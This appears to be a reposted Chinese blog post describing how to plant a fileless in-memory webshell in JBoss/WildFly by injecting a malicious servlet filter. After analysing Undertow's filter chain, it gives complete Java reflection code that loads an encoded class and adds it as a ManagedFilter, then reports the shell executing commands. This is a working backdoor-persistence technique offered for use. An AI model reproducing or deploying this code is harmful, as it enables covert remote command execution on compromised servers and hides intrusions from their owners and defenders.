zoukankan      html  css  js  c++  java
  • JBOSS 无文件webshell的技术研究

    前几篇文章主要研究了tomcat,weblogic的无文件webshell。这篇文章则重点研究jboss的无文件webhsell。下面分享一下思路

    以下分析基于 jboss 社区版 wildfly-20.0.0.Final版本

    0x01 wildfly 加载Filter分析

    在Filter处随便打一个断点,如图,观察堆栈

    jboss比较简单,处理Filter的代码如下所示

    io.undertow.servlet.handlers.FilterHandler#handleRequest
    
    public void handleRequest(HttpServerExchange exchange) throws Exception {
        ServletRequestContext servletRequestContext = (ServletRequestContext)exchange.getAttachment(ServletRequestContext.ATTACHMENT_KEY);
        ServletRequest request = servletRequestContext.getServletRequest();
        ServletResponse response = servletRequestContext.getServletResponse();
        DispatcherType dispatcher = servletRequestContext.getDispatcherType();
        Boolean supported = (Boolean)this.asyncSupported.get(dispatcher);
        if (supported != null && !supported) {
            servletRequestContext.setAsyncSupported(false);
        }
    
    
        List<ManagedFilter> filters = (List)this.filters.get(dispatcher);
        if (filters == null) {
            this.next.handleRequest(exchange);
        } else {
            FilterHandler.FilterChainImpl filterChain = new FilterHandler.FilterChainImpl(exchange, filters, this.next, this.allowNonStandardWrappers);
            filterChain.doFilter(request, response);
        }
    }
    

    FilterHandler的handleRequest方法中,获取filter去创建filter。并创建FilterChainImpl。我们继续向上分析哪些函数调用了hadleRequest。在io.undertow.servlet.handlers.ServletChain#ServletChain方法中,会执行forceInit方法,forceInit方法的代码如下

    io.undertow.servlet.handlers.ServletChain#forceInit
                List<ManagedFilter> list = filters.get(dispatcherType);
                if(list != null && !list.isEmpty()) {
                    for(int i = 0; i < list.size(); ++i) {
                        ManagedFilter filter = list.get(i);
                        filter.forceInit();
                    }
                }
    

    跟入ManagedFilter的forceInit方法,forceInit方法主要作用是调用ManagedFilter的createFilter方法,去初始化一个Filter。代码如下

        public void createFilter() throws ServletException {
            synchronized (this) {
                if (filter == null) {
                    try {
                        handle = filterInfo.getInstanceFactory().createInstance();
                    } catch (Exception e) {
                        throw UndertowServletMessages.MESSAGES.couldNotInstantiateComponent(filterInfo.getName(), e);
                    }
                    Filter filter = handle.getInstance();
                    new LifecyleInterceptorInvocation(servletContext.getDeployment().getDeploymentInfo().getLifecycleInterceptors(), filterInfo, filter, new FilterConfigImpl(filterInfo, servletContext)).proceed();
                    this.filter = filter;
                }
            }
        }
    

    我们可以看出,在该函数中,如果检测到Filter没有注册,则通过LifecyleInterceptorInvocation去初始化一个Filter,并添加到FilterHandler的Filter中。

    0x02 实现

    1. 获取ServletChain

    在ServletRequestContext中,我们可以发现如下方法

        /**
         * Gets the current threads {@link ServletRequestContext} if set, otherwise null.
         *
         * @return The current {@link ServletRequestContext} based on the calling thread, or null if unavailable
         */
        public static ServletRequestContext current() {
            SecurityManager sm = System.getSecurityManager();
            if(sm != null) {
                sm.checkPermission(GET_CURRENT_REQUEST);
            }
            return CURRENT.get();
        }
    

    通过ServletRequestContext.current这个静态方法,可以获取当前的ServletRequestContext对象。ServletRequestContext对象中,恰好存放我们需要的ServerChain对象,

    2. 反射获取ServletChain的filter

    filter的类型为EnumMap,key为REQUEST,value为数组,依次存放需要调用的Filter。可以通过反射调用,代码如下

        Field filtersF = servletChain.getClass().getDeclaredField("filters");
        filtersF.setAccessible(true);
        java.util.EnumMap filters = (EnumMap) filtersF.get(servletChain);
    

    3. 创建ManagedFilter

    ServletChain的filter中,数组中的类型为ManagedFilterManagedFilter的构造参数中,需要两个参数,分别为FilterInfo与servletContext。这两个参数构造方法如下

    3.1 FilterInfo

    FilterInfo中,并不需要Class.forName,通过名称去加载Filter类。相反,只需要在参数中提供Filter的Class即可,相关代码如下

        public FilterInfo(final String name, final Class<? extends Filter> filterClass) {
            try {
                final Constructor<Filter> ctor = (Constructor<Filter>) filterClass.getDeclaredConstructor();
                ctor.setAccessible(true);
                this.instanceFactory = new ConstructorInstanceFactory<>(ctor);
                this.name = name;
                this.filterClass = filterClass;
            } catch (NoSuchMethodException e) {
                throw UndertowServletMessages.MESSAGES.componentMustHaveDefaultConstructor("Filter", filterClass);
            }
        }
    

    3.2 servletContext

    servletContext与Context不是一个类型。但是可以从Context中获取servletContext对象。

    完整代码如下

        Method currentM = Class.forName("io.undertow.servlet.handlers.ServletRequestContext").getDeclaredMethod("current");
        Object curContext = currentM.invoke(null);
    
        Method getCurrentServletM = curContext.getClass().getMethod("getCurrentServlet");
        Object servletChain = getCurrentServletM.invoke(curContext);
    
        Field filtersF = servletChain.getClass().getDeclaredField("filters");
        filtersF.setAccessible(true);
        java.util.EnumMap filters = (EnumMap) filtersF.get(servletChain);
    
        String evilFilterClassName = "testFilter1";
        Class evilFilterClass = null;
    
        try {
            evilFilterClass = Class.forName(evilFilterClassName);
        } catch (ClassNotFoundException e) {
            BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder();
            String codeClass = "H4sIAAAAAAAA...";
            Method defineClassM = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            defineClassM.setAccessible(true);
            evilFilterClass = (Class) defineClassM.invoke(Thread.currentThread().getContextClassLoader(), uncompress(b64Decoder.decodeBuffer(codeClass)), 0, uncompress(b64Decoder.decodeBuffer(codeClass)).length);
        }
    
        ArrayList filterList = (ArrayList) filters.get(DispatcherType.REQUEST);
        Object evilFilterInfo = Class.forName("io.undertow.servlet.api.FilterInfo").getDeclaredConstructors()[0].newInstance("UnicodeSec", evilFilterClass);
    
        Field servletRequestF = curContext.getClass().getDeclaredField("servletRequest");
        servletRequestF.setAccessible(true);
        Object obj = servletRequestF.get(curContext);
    
        Field servletContextF = obj.getClass().getDeclaredField("servletContext");
        servletContextF.setAccessible(true);
        Object servletContext = servletContextF.get(obj);
    
        Object evilManagedFilter = Class.forName("io.undertow.servlet.core.ManagedFilter").getDeclaredConstructors()[0].newInstance(evilFilterInfo, servletContext);
    
        filterList.add(evilManagedFilter);
    

    0x03 成果检验

    jboss有些特殊,上面的内存马只能在可以被正常访问的页面中才可以触发内存马。效果如下

    添加需要执行的命令,内存马开始执行命令,并输入结果

    正常访问页面,则无反应

  • 相关阅读:
    400 Bad Request
    Django 中间件 阅读目录 初步了解 中间件 中间件的介绍 自定义中间件 process_template_response(用的比较少) 中间件的执行流程 中间件版登录验证
    关于python语言优化的一些思考
    从系统角度考虑性能优化 【被面试官吊打】从系统角度考虑性能优化 目录 什么是性能? 定义系统范围 重定义功能 关注价值 总结
    需求设计
    开源软件评选白热化,这些项目冲击 Top 5
    两个向量的outer product
    协同过滤算法中皮尔逊相关系数的计算 C++
    求向量间的点积
    string 类型的翻转
  • 原文地址:https://www.cnblogs.com/potatsoSec/p/13168341.html
Copyright © 2011-2022 走看看